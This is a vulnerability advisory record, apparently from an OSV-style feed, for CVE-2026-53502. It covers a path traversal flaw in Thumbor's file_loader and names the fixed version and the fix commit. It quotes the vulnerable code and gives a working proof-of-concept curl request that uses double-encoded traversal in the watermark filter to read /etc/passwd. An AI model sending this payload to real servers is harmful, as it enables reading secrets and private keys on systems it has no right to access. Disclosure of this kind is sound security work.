{"id":"CVE-2026-53502","aliases":["GHSA-cj54-hpcc-gj6h","PYSEC-2026-3618"],"url":"https://o3.security/vulnerability/CVE-2026-53502","summary":"Thumbor has path traversal via post-validation URL decoding bypass in file_loader","details":"The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences.\n\n## Affected code\n\n`thumbor/loaders/file_loader.py` lines 28-49:\n```python\nasync def load(context, path):\n    file_path = join(\n        context.config.FILE_LOADER_ROOT_PATH.rstrip(\"/\"), path.lstrip(\"/\")\n    )\n    file_path = abspath(file_path)\n    inside_root_path = file_path.startswith(         # Security check\n        abspath(context.config.FILE_LOADER_ROOT_PATH)\n    )\n    result = LoaderResult()\n    if not inside_root_path:\n        result.error = LoaderResult.ERROR_NOT_FOUND\n        result.successful = False\n        return result\n\n    if not exists(file_path):\n        file_path = unquote(file_path)               # unquote AFTER check!\n\n    if exists(file_path) and isfile(file_path):\n        with open(file_path, \"rb\") as source_file:\n            ...\n```\n\nThe watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37).\n\n## PoC\n\n```bash\n# Read /etc/passwd via watermark filter path traversal\n# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,\n# file_loader unquote decodes %2e to .\ncurl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'\n```\n\nFlow:\n1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e`\n2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader\n3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...`\n4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve)\n5. `startswith(ROOT)` = True (passes check)\n6. `exists()` returns False (literal `%2e%2e` dir doesn't exist)\n7. `unquote()` converts `%2e%2e` to `..`\n8. OS resolves `..` → reads files outside ROOT\n\n## Prerequisites\n\n- `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`)\n- `ALLOW_UNSAFE_URL = True` (this is the default)\n- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)\n\n## Impact\n\nArbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.","published":"2026-07-31T19:03:16.522Z","modified":"2026-10-28T02:30:56.073451727Z","cvss":null,"epss":{"score":0.00357,"percentile":0.29234,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"thumbor","fixedVersion":"7.8.0"}],"fix":{"url":"https://github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d","label":"thumbor/thumbor@3b986d1"},"references":[{"type":"WEB","url":"https://github.com/thumbor/thumbor/releases/tag/7.8.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53502.json"},{"type":"ADVISORY","url":"https://github.com/thumbor/thumbor/security/advisories/GHSA-cj54-hpcc-gj6h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53502"},{"type":"FIX","url":"https://github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d"},{"type":"PACKAGE","url":"https://github.com/thumbor/thumbor"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:56.073451727Z"}}